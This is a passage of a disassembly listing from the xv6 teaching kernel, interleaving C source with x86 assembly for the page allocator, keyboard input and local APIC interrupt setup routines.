ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
80102975: 8b 45 08 mov 0x8(%ebp),%eax
80102978: 83 c0 20 add $0x20,%eax
8010297b: 8b 55 08 mov 0x8(%ebp),%edx
8010297e: 83 c2 08 add $0x8,%edx
80102981: 01 d2 add %edx,%edx
80102983: 89 44 24 04 mov %eax,0x4(%esp)
80102987: 89 14 24 mov %edx,(%esp)
8010298a: e8 08 ff ff ff call 80102897 <ioapicwrite>
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
8010298f: 8b 45 0c mov 0xc(%ebp),%eax
80102992: c1 e0 18 shl $0x18,%eax
80102995: 8b 55 08 mov 0x8(%ebp),%edx
80102998: 83 c2 08 add $0x8,%edx
8010299b: 01 d2 add %edx,%edx
8010299d: 83 c2 01 add $0x1,%edx
801029a0: 89 44 24 04 mov %eax,0x4(%esp)
801029a4: 89 14 24 mov %edx,(%esp)
801029a7: e8 eb fe ff ff call 80102897 <ioapicwrite>
}
801029ac: c9 leave
801029ad: c3 ret
801029ae: 66 90 xchg %ax,%ax
801029b0 <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; }
801029b0: 55 push %ebp
801029b1: 89 e5 mov %esp,%ebp
801029b3: 8b 45 08 mov 0x8(%ebp),%eax
801029b6: 05 00 00 00 80 add $0x80000000,%eax
801029bb: 5d pop %ebp
801029bc: c3 ret
801029bd <kinit1>:
// the pages mapped by entrypgdir on free list.
// 2. main() calls kinit2() with the rest of the physical pages
// after installing a full page table that maps them on all cores.
void
kinit1(void *vstart, void *vend)
{
801029bd: 55 push %ebp
801029be: 89 e5 mov %esp,%ebp
801029c0: 83 ec 18 sub $0x18,%esp
initlock(&kmem.lock, "kmem");
801029c3: c7 44 24 04 66 8b 10 movl $0x80108b66,0x4(%esp)
801029ca: 80
801029cb: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
801029d2: e8 6b 28 00 00 call 80105242 <initlock>
kmem.use_lock = 0;
801029d7: c7 05 74 32 11 80 00 movl $0x0,0x80113274
801029de: 00 00 00
freerange(vstart, vend);
801029e1: 8b 45 0c mov 0xc(%ebp),%eax
801029e4: 89 44 24 04 mov %eax,0x4(%esp)
801029e8: 8b 45 08 mov 0x8(%ebp),%eax
801029eb: 89 04 24 mov %eax,(%esp)
801029ee: e8 26 00 00 00 call 80102a19 <freerange>
}
801029f3: c9 leave
801029f4: c3 ret
801029f5 <kinit2>:
void
kinit2(void *vstart, void *vend)
{
801029f5: 55 push %ebp
801029f6: 89 e5 mov %esp,%ebp
801029f8: 83 ec 18 sub $0x18,%esp
freerange(vstart, vend);
801029fb: 8b 45 0c mov 0xc(%ebp),%eax
801029fe: 89 44 24 04 mov %eax,0x4(%esp)
80102a02: 8b 45 08 mov 0x8(%ebp),%eax
80102a05: 89 04 24 mov %eax,(%esp)
80102a08: e8 0c 00 00 00 call 80102a19 <freerange>
kmem.use_lock = 1;
80102a0d: c7 05 74 32 11 80 01 movl $0x1,0x80113274
80102a14: 00 00 00
}
80102a17: c9 leave
80102a18: c3 ret
80102a19 <freerange>:
void
freerange(void *vstart, void *vend)
{
80102a19: 55 push %ebp
80102a1a: 89 e5 mov %esp,%ebp
80102a1c: 83 ec 28 sub $0x28,%esp
char *p;
p = (char*)PGROUNDUP((uint)vstart);
80102a1f: 8b 45 08 mov 0x8(%ebp),%eax
80102a22: 05 ff 0f 00 00 add $0xfff,%eax
80102a27: 25 00 f0 ff ff and $0xfffff000,%eax
80102a2c: 89 45 f4 mov %eax,-0xc(%ebp)
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a2f: eb 12 jmp 80102a43 <freerange+0x2a>
kfree(p);
80102a31: 8b 45 f4 mov -0xc(%ebp),%eax
80102a34: 89 04 24 mov %eax,(%esp)
80102a37: e8 16 00 00 00 call 80102a52 <kfree>
void
freerange(void *vstart, void *vend)
{
char *p;
p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102a3c: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80102a43: 8b 45 f4 mov -0xc(%ebp),%eax
80102a46: 05 00 10 00 00 add $0x1000,%eax
80102a4b: 3b 45 0c cmp 0xc(%ebp),%eax
80102a4e: 76 e1 jbe 80102a31 <freerange+0x18>
kfree(p);
}
80102a50: c9 leave
80102a51: c3 ret
80102a52 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102a52: 55 push %ebp
80102a53: 89 e5 mov %esp,%ebp
80102a55: 83 ec 28 sub $0x28,%esp
struct run *r;
if((uint)v % PGSIZE || v < end || v2p(v) >= PHYSTOP)
80102a58: 8b 45 08 mov 0x8(%ebp),%eax
80102a5b: 25 ff 0f 00 00 and $0xfff,%eax
80102a60: 85 c0 test %eax,%eax
80102a62: 75 1b jne 80102a7f <kfree+0x2d>
80102a64: 81 7d 08 5c 63 11 80 cmpl $0x8011635c,0x8(%ebp)
80102a6b: 72 12 jb 80102a7f <kfree+0x2d>
80102a6d: 8b 45 08 mov 0x8(%ebp),%eax
80102a70: 89 04 24 mov %eax,(%esp)
80102a73: e8 38 ff ff ff call 801029b0 <v2p>
80102a78: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102a7d: 76 0c jbe 80102a8b <kfree+0x39>
panic("kfree");
80102a7f: c7 04 24 6b 8b 10 80 movl $0x80108b6b,(%esp)
80102a86: e8 af da ff ff call 8010053a <panic>
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102a8b: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80102a92: 00
80102a93: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102a9a: 00
80102a9b: 8b 45 08 mov 0x8(%ebp),%eax
80102a9e: 89 04 24 mov %eax,(%esp)
80102aa1: e8 14 2a 00 00 call 801054ba <memset>
if(kmem.use_lock)
80102aa6: a1 74 32 11 80 mov 0x80113274,%eax
80102aab: 85 c0 test %eax,%eax
80102aad: 74 0c je 80102abb <kfree+0x69>
acquire(&kmem.lock);
80102aaf: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102ab6: e8 a8 27 00 00 call 80105263 <acquire>
r = (struct run*)v;
80102abb: 8b 45 08 mov 0x8(%ebp),%eax
80102abe: 89 45 f4 mov %eax,-0xc(%ebp)
r->next = kmem.freelist;
80102ac1: 8b 15 78 32 11 80 mov 0x80113278,%edx
80102ac7: 8b 45 f4 mov -0xc(%ebp),%eax
80102aca: 89 10 mov %edx,(%eax)
kmem.freelist = r;
80102acc: 8b 45 f4 mov -0xc(%ebp),%eax
80102acf: a3 78 32 11 80 mov %eax,0x80113278
if(kmem.use_lock)
80102ad4: a1 74 32 11 80 mov 0x80113274,%eax
80102ad9: 85 c0 test %eax,%eax
80102adb: 74 0c je 80102ae9 <kfree+0x97>
release(&kmem.lock);
80102add: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102ae4: e8 dc 27 00 00 call 801052c5 <release>
}
80102ae9: c9 leave
80102aea: c3 ret
80102aeb <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102aeb: 55 push %ebp
80102aec: 89 e5 mov %esp,%ebp
80102aee: 83 ec 28 sub $0x28,%esp
struct run *r;
if(kmem.use_lock)
80102af1: a1 74 32 11 80 mov 0x80113274,%eax
80102af6: 85 c0 test %eax,%eax
80102af8: 74 0c je 80102b06 <kalloc+0x1b>
acquire(&kmem.lock);
80102afa: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102b01: e8 5d 27 00 00 call 80105263 <acquire>
r = kmem.freelist;
80102b06: a1 78 32 11 80 mov 0x80113278,%eax
80102b0b: 89 45 f4 mov %eax,-0xc(%ebp)
if(r)
80102b0e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80102b12: 74 0a je 80102b1e <kalloc+0x33>
kmem.freelist = r->next;
80102b14: 8b 45 f4 mov -0xc(%ebp),%eax
80102b17: 8b 00 mov (%eax),%eax
80102b19: a3 78 32 11 80 mov %eax,0x80113278
if(kmem.use_lock)
80102b1e: a1 74 32 11 80 mov 0x80113274,%eax
80102b23: 85 c0 test %eax,%eax
80102b25: 74 0c je 80102b33 <kalloc+0x48>
release(&kmem.lock);
80102b27: c7 04 24 40 32 11 80 movl $0x80113240,(%esp)
80102b2e: e8 92 27 00 00 call 801052c5 <release>
return (char*)r;
80102b33: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102b36: c9 leave
80102b37: c3 ret
80102b38 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102b38: 55 push %ebp
80102b39: 89 e5 mov %esp,%ebp
80102b3b: 83 ec 14 sub $0x14,%esp
80102b3e: 8b 45 08 mov 0x8(%ebp),%eax
80102b41: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102b45: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80102b49: 89 c2 mov %eax,%edx
80102b4b: ec in (%dx),%al
80102b4c: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102b4f: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80102b53: c9 leave
80102b54: c3 ret
80102b55 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
80102b55: 55 push %ebp
80102b56: 89 e5 mov %esp,%ebp
80102b58: 83 ec 14 sub $0x14,%esp
static uchar *charcode[4] = {
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
80102b5b: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102b62: e8 d1 ff ff ff call 80102b38 <inb>
80102b67: 0f b6 c0 movzbl %al,%eax
80102b6a: 89 45 f4 mov %eax,-0xc(%ebp)
if((st & KBS_DIB) == 0)
80102b6d: 8b 45 f4 mov -0xc(%ebp),%eax
80102b70: 83 e0 01 and $0x1,%eax
80102b73: 85 c0 test %eax,%eax
80102b75: 75 0a jne 80102b81 <kbdgetc+0x2c>
return -1;
80102b77: b8 ff ff ff ff mov $0xffffffff,%eax
80102b7c: e9 25 01 00 00 jmp 80102ca6 <kbdgetc+0x151>
data = inb(KBDATAP);
80102b81: c7 04 24 60 00 00 00 movl $0x60,(%esp)
80102b88: e8 ab ff ff ff call 80102b38 <inb>
80102b8d: 0f b6 c0 movzbl %al,%eax
80102b90: 89 45 fc mov %eax,-0x4(%ebp)
if(data == 0xE0){
80102b93: 81 7d fc e0 00 00 00 cmpl $0xe0,-0x4(%ebp)
80102b9a: 75 17 jne 80102bb3 <kbdgetc+0x5e>
shift |= E0ESC;
80102b9c: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102ba1: 83 c8 40 or $0x40,%eax
80102ba4: a3 5c c6 10 80 mov %eax,0x8010c65c
return 0;
80102ba9: b8 00 00 00 00 mov $0x0,%eax
80102bae: e9 f3 00 00 00 jmp 80102ca6 <kbdgetc+0x151>
} else if(data & 0x80){
80102bb3: 8b 45 fc mov -0x4(%ebp),%eax
80102bb6: 25 80 00 00 00 and $0x80,%eax
80102bbb: 85 c0 test %eax,%eax
80102bbd: 74 45 je 80102c04 <kbdgetc+0xaf>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102bbf: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102bc4: 83 e0 40 and $0x40,%eax
80102bc7: 85 c0 test %eax,%eax
80102bc9: 75 08 jne 80102bd3 <kbdgetc+0x7e>
80102bcb: 8b 45 fc mov -0x4(%ebp),%eax
80102bce: 83 e0 7f and $0x7f,%eax
80102bd1: eb 03 jmp 80102bd6 <kbdgetc+0x81>
80102bd3: 8b 45 fc mov -0x4(%ebp),%eax
80102bd6: 89 45 fc mov %eax,-0x4(%ebp)
shift &= ~(shiftcode[data] | E0ESC);
80102bd9: 8b 45 fc mov -0x4(%ebp),%eax
80102bdc: 05 20 a0 10 80 add $0x8010a020,%eax
80102be1: 0f b6 00 movzbl (%eax),%eax
80102be4: 83 c8 40 or $0x40,%eax
80102be7: 0f b6 c0 movzbl %al,%eax
80102bea: f7 d0 not %eax
80102bec: 89 c2 mov %eax,%edx
80102bee: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102bf3: 21 d0 and %edx,%eax
80102bf5: a3 5c c6 10 80 mov %eax,0x8010c65c
return 0;
80102bfa: b8 00 00 00 00 mov $0x0,%eax
80102bff: e9 a2 00 00 00 jmp 80102ca6 <kbdgetc+0x151>
} else if(shift & E0ESC){
80102c04: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c09: 83 e0 40 and $0x40,%eax
80102c0c: 85 c0 test %eax,%eax
80102c0e: 74 14 je 80102c24 <kbdgetc+0xcf>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102c10: 81 4d fc 80 00 00 00 orl $0x80,-0x4(%ebp)
shift &= ~E0ESC;
80102c17: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c1c: 83 e0 bf and $0xffffffbf,%eax
80102c1f: a3 5c c6 10 80 mov %eax,0x8010c65c
}
shift |= shiftcode[data];
80102c24: 8b 45 fc mov -0x4(%ebp),%eax
80102c27: 05 20 a0 10 80 add $0x8010a020,%eax
80102c2c: 0f b6 00 movzbl (%eax),%eax
80102c2f: 0f b6 d0 movzbl %al,%edx
80102c32: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c37: 09 d0 or %edx,%eax
80102c39: a3 5c c6 10 80 mov %eax,0x8010c65c
shift ^= togglecode[data];
80102c3e: 8b 45 fc mov -0x4(%ebp),%eax
80102c41: 05 20 a1 10 80 add $0x8010a120,%eax
80102c46: 0f b6 00 movzbl (%eax),%eax
80102c49: 0f b6 d0 movzbl %al,%edx
80102c4c: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c51: 31 d0 xor %edx,%eax
80102c53: a3 5c c6 10 80 mov %eax,0x8010c65c
c = charcode[shift & (CTL | SHIFT)][data];
80102c58: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c5d: 83 e0 03 and $0x3,%eax
80102c60: 8b 14 85 20 a5 10 80 mov -0x7fef5ae0(,%eax,4),%edx
80102c67: 8b 45 fc mov -0x4(%ebp),%eax
80102c6a: 01 d0 add %edx,%eax
80102c6c: 0f b6 00 movzbl (%eax),%eax
80102c6f: 0f b6 c0 movzbl %al,%eax
80102c72: 89 45 f8 mov %eax,-0x8(%ebp)
if(shift & CAPSLOCK){
80102c75: a1 5c c6 10 80 mov 0x8010c65c,%eax
80102c7a: 83 e0 08 and $0x8,%eax
80102c7d: 85 c0 test %eax,%eax
80102c7f: 74 22 je 80102ca3 <kbdgetc+0x14e>
if('a' <= c && c <= 'z')
80102c81: 83 7d f8 60 cmpl $0x60,-0x8(%ebp)
80102c85: 76 0c jbe 80102c93 <kbdgetc+0x13e>
80102c87: 83 7d f8 7a cmpl $0x7a,-0x8(%ebp)
80102c8b: 77 06 ja 80102c93 <kbdgetc+0x13e>
c += 'A' - 'a';
80102c8d: 83 6d f8 20 subl $0x20,-0x8(%ebp)
80102c91: eb 10 jmp 80102ca3 <kbdgetc+0x14e>
else if('A' <= c && c <= 'Z')
80102c93: 83 7d f8 40 cmpl $0x40,-0x8(%ebp)
80102c97: 76 0a jbe 80102ca3 <kbdgetc+0x14e>
80102c99: 83 7d f8 5a cmpl $0x5a,-0x8(%ebp)
80102c9d: 77 04 ja 80102ca3 <kbdgetc+0x14e>
c += 'a' - 'A';
80102c9f: 83 45 f8 20 addl $0x20,-0x8(%ebp)
}
return c;
80102ca3: 8b 45 f8 mov -0x8(%ebp),%eax
}
80102ca6: c9 leave
80102ca7: c3 ret
80102ca8 <kbdintr>:
void
kbdintr(void)
{
80102ca8: 55 push %ebp
80102ca9: 89 e5 mov %esp,%ebp
80102cab: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
80102cae: c7 04 24 55 2b 10 80 movl $0x80102b55,(%esp)
80102cb5: e8 f3 da ff ff call 801007ad <consoleintr>
}
80102cba: c9 leave
80102cbb: c3 ret
80102cbc <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80102cbc: 55 push %ebp
80102cbd: 89 e5 mov %esp,%ebp
80102cbf: 83 ec 14 sub $0x14,%esp
80102cc2: 8b 45 08 mov 0x8(%ebp),%eax
80102cc5: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102cc9: 0f b7 45 ec movzwl -0x14(%ebp),%eax
80102ccd: 89 c2 mov %eax,%edx
80102ccf: ec in (%dx),%al
80102cd0: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102cd3: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80102cd7: c9 leave
80102cd8: c3 ret
80102cd9 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80102cd9: 55 push %ebp
80102cda: 89 e5 mov %esp,%ebp
80102cdc: 83 ec 08 sub $0x8,%esp
80102cdf: 8b 55 08 mov 0x8(%ebp),%edx
80102ce2: 8b 45 0c mov 0xc(%ebp),%eax
80102ce5: 66 89 55 fc mov %dx,-0x4(%ebp)
80102ce9: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102cec: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80102cf0: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80102cf4: ee out %al,(%dx)
}
80102cf5: c9 leave
80102cf6: c3 ret
80102cf7 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80102cf7: 55 push %ebp
80102cf8: 89 e5 mov %esp,%ebp
80102cfa: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80102cfd: 9c pushf
80102cfe: 58 pop %eax
80102cff: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80102d02: 8b 45 fc mov -0x4(%ebp),%eax
}
80102d05: c9 leave
80102d06: c3 ret
80102d07 <lapicw>:
volatile uint *lapic; // Initialized in mp.c
static void
lapicw(int index, int value)
{
80102d07: 55 push %ebp
80102d08: 89 e5 mov %esp,%ebp
lapic[index] = value;
80102d0a: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d0f: 8b 55 08 mov 0x8(%ebp),%edx
80102d12: c1 e2 02 shl $0x2,%edx
80102d15: 01 c2 add %eax,%edx
80102d17: 8b 45 0c mov 0xc(%ebp),%eax
80102d1a: 89 02 mov %eax,(%edx)
lapic[ID]; // wait for write to finish, by reading
80102d1c: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d21: 83 c0 20 add $0x20,%eax
80102d24: 8b 00 mov (%eax),%eax
}
80102d26: 5d pop %ebp
80102d27: c3 ret
80102d28 <lapicinit>:
//PAGEBREAK!
void
lapicinit(void)
{
80102d28: 55 push %ebp
80102d29: 89 e5 mov %esp,%ebp
80102d2b: 83 ec 08 sub $0x8,%esp
if(!lapic)
80102d2e: a1 7c 32 11 80 mov 0x8011327c,%eax
80102d33: 85 c0 test %eax,%eax
80102d35: 75 05 jne 80102d3c <lapicinit+0x14>
return;
80102d37: e9 43 01 00 00 jmp 80102e7f <lapicinit+0x157>
// Enable local APIC; set spurious interrupt vector.
lapicw(SVR, ENABLE | (T_IRQ0 + IRQ_SPURIOUS));
80102d3c: c7 44 24 04 3f 01 00 movl $0x13f,0x4(%esp)
80102d43: 00
80102d44: c7 04 24 3c 00 00 00 movl $0x3c,(%esp)
80102d4b: e8 b7 ff ff ff call 80102d07 <lapicw>
// The timer repeatedly counts down at bus frequency
// from lapic[TICR] and then issues an interrupt.
// If xv6 cared more about precise timekeeping,
// TICR would be calibrated using an external time source.
lapicw(TDCR, X1);
80102d50: c7 44 24 04 0b 00 00 movl $0xb,0x4(%esp)
80102d57: 00
80102d58: c7 04 24 f8 00 00 00 movl $0xf8,(%esp)
80102d5f: e8 a3 ff ff ff call 80102d07 <lapicw>
lapicw(TIMER, PERIODIC | (T_IRQ0 + IRQ_TIMER));
80102d64: c7 44 24 04 20 00 02 movl $0x20020,0x4(%esp)
80102d6b: 00
80102d6c: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102d73: e8 8f ff ff ff call 80102d07 <lapicw>
lapicw(TICR, 10000000);
80102d78: c7 44 24 04 80 96 98 movl $0x989680,0x4(%esp)
80102d7f: 00
80102d80: c7 04 24 e0 00 00 00 movl $0xe0,(%esp)
80102d87: e8 7b ff ff ff call 80102d07 <lapicw>
// Disable logical interrupt lines.
lapicw(LINT0, MASKED);
80102d8c: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102d93: 00
80102d94: c7 04 24 d4 00 00 00 movl $0xd4,(%esp)
80102d9b: e8 67 ff ff ff call 80102d07 <lapicw>
lapicw(LINT1, MASKED);
80102da0: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102da7: 00
80102da8: c7 04 24 d8 00 00 00 movl $0xd8,(%esp)
80102daf: e8 53 ff ff ff call 80102d07 <lapicw>
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
80102db4: a1 7c 32 11 80 mov 0x8011327c,%eax
80102db9: 83 c0 30 add $0x30,%eax
80102dbc: 8b 00 mov (%eax),%eax
80102dbe: c1 e8 10 shr $0x10,%eax
80102dc1: 0f b6 c0 movzbl %al,%eax
80102dc4: 83 f8 03 cmp $0x3,%eax
80102dc7: 76 14 jbe 80102ddd <lapicinit+0xb5>
lapicw(PCINT, MASKED);
80102dc9: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102dd0: 00
80102dd1: c7 04 24 d0 00 00 00 movl $0xd0,(%esp)
80102dd8: e8 2a ff ff ff call 80102d07 <lapicw>
// Map error interrupt to IRQ_ERROR.
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
80102ddd: c7 44 24 04 33 00 00 movl $0x33,0x4(%esp)
80102de4: 00
80102de5: c7 04 24 dc 00 00 00 movl $0xdc,(%esp)
80102dec: e8 16 ff ff ff call 80102d07 <lapicw>
// Clear error status register (requires back-to-back writes).
lapicw(ESR, 0);
80102df1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102df8: 00
80102df9: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e00: e8 02 ff ff ff call 80102d07 <lapicw>
lapicw(ESR, 0);
80102e05: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e0c: 00
80102e0d: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e14: e8 ee fe ff ff call 80102d07 <lapicw>
// Ack any outstanding interrupts.
lapicw(EOI, 0);
80102e19: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e20: 00
80102e21: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102e28: e8 da fe ff ff call 80102d07 <lapicw>
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
80102e2d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e34: 00
80102e35: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102e3c: e8 c6 fe ff ff call 80102d07 <lapicw>
lapicw(ICRLO, BCAST | INIT | LEVEL);
80102e41: c7 44 24 04 00 85 08 movl $0x88500,0x4(%esp)
80102e48: 00
80102e49: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102e50: e8 b2 fe ff ff call 80102d07 <lapicw>
while(lapic[ICRLO] & DELIVS)
80102e55: 90 nop
80102e56: a1 7c 32 11 80 mov 0x8011327c,%eax
80102e5b: 05 00 03 00 00 add $0x300,%eax
80102e60: 8b 00 mov (%eax),%eax
80102e62: 25 00 10 00 00 and $0x1000,%eax
80102e67: 85 c0 test %eax,%eax
80102e69: 75 eb jne 80102e56 <lapicinit+0x12e>
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
80102e6b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e72: 00
80102e73: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80102e7a: e8 88 fe ff ff call 80102d07 <lapicw>
}
80102e7f: c9 leave
80102e80: c3 ret
80102e81 <cpunum>:
int
cpunum(void)
{
80102e81: 55 push %ebp
80102e82: 89 e5 mov %esp,%ebp
80102e84: 83 ec 18 sub $0x18,%esp
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
80102e87: e8 6b fe ff ff call 80102cf7 <readeflags>
80102e8c: 25 00 02 00 00 and $0x200,%eax
80102e91: 85 c0 test %eax,%eax
80102e93: 74 25 je 80102eba <cpunum+0x39>
static int n;
if(n++ == 0)
80102e95: a1 60 c6 10 80 mov 0x8010c660,%eax
80102e9a: 8d 50 01 lea 0x1(%eax),%edx
80102e9d: 89 15 60 c6 10 80 mov %edx,0x8010c660
80102ea3: 85 c0 test %eax,%eax
80102ea5: 75 13 jne 80102eba <cpunum+0x39>
cprintf("cpu called from %x with interrupts enabled\n",
80102ea7: 8b 45 04 mov 0x4(%ebp),%eax
80102eaa: 89 44 24 04 mov %eax,0x4(%esp)
80102eae: c7 04 24 74 8b 10 80 movl $0x80108b74,(%esp)
80102eb5: e8 e6 d4 ff ff call 801003a0 <cprintf>
__builtin_return_address(0));
}
if(lapic)
80102eba: a1 7c 32 11 80 mov 0x8011327c,%eax
80102ebf: 85 c0 test %eax,%eax
80102ec1: 74 0f je 80102ed2 <cpunum+0x51>
return lapic[ID]>>24;
80102ec3: a1 7c 32 11 80 mov 0x8011327c,%eax
80102ec8: 83 c0 20 add $0x20,%eax
80102ecb: 8b 00 mov (%eax),%eax
80102ecd: c1 e8 18 shr $0x18,%eax
80102ed0: eb 05 jmp 80102ed7 <cpunum+0x56>
return 0;
80102ed2: b8 00 00 00 00 mov $0x0,%eax
}
80102ed7: c9 leave
80102ed8: c3 ret
80102ed9 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102ed9: 55 push %ebp
80102eda: 89 e5 mov %esp,%ebp
80102edc: 83 ec 08 sub $0x8,%esp
if(lapic)
80102edf: a1 7c 32 11 80 mov 0x8011327c,%eax
80102ee4: 85 c0 test %eax,%eax
80102ee6: 74 14 je 80102efc <lapiceoi+0x23>
lapicw(EOI, 0);
80102ee8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102eef: 00
80102ef0: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102ef7: e8 0b fe ff ff call 80102d07 <lapicw>
}
80102efc: c9 leave
80102efd: c3 ret
80102efe <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102efe: 55 push %ebp
80102eff: 89 e5 mov %esp,%ebp
}
80102f01: 5d pop %ebp
80102f02: c3 ret
80102f03 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102f03: 55 push %ebp
80102f04: 89 e5 mov %esp,%ebp
80102f06: 83 ec 1c sub $0x1c,%esp
80102f09: 8b 45 08 mov 0x8(%ebp),%eax
80102f0c: 88 45 ec mov %al,-0x14(%ebp)
ushort *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
80102f0f: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80102f16: 00
80102f17: c7 04 24 70 00 00 00 movl $0x70,(%esp)
80102f1e: e8 b6 fd ff ff call 80102cd9 <outb>
outb(CMOS_PORT+1, 0x0A);
80102f23: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80102f2a: 00
80102f2b: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80102f32: e8 a2 fd ff ff call 80102cd9 <outb>
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
80102f37: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp)
wrv[0] = 0;
80102f3e: 8b 45 f8 mov -0x8(%ebp),%eax
80102f41: 66 c7 00 00 00 movw $0x0,(%eax)
wrv[1] = addr >> 4;
80102f46: 8b 45 f8 mov -0x8(%ebp),%eax
80102f49: 8d 50 02 lea 0x2(%eax),%edx
80102f4c: 8b 45 0c mov 0xc(%ebp),%eax
80102f4f: c1 e8 04 shr $0x4,%eax
80102f52: 66 89 02 mov %ax,(%edx)
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102f55: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102f59: c1 e0 18 shl $0x18,%eax
80102f5c: 89 44 24 04 mov %eax,0x4(%esp)
80102f60: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102f67: e8 9b fd ff ff call 80102d07 <lapicw>
lapicw(ICRLO, INIT | LEVEL | ASSERT);
80102f6c: c7 44 24 04 00 c5 00 movl $0xc500,0x4(%esp)
80102f73: 00
80102f74: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102f7b: e8 87 fd ff ff call 80102d07 <lapicw>
microdelay(200);
80102f80: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
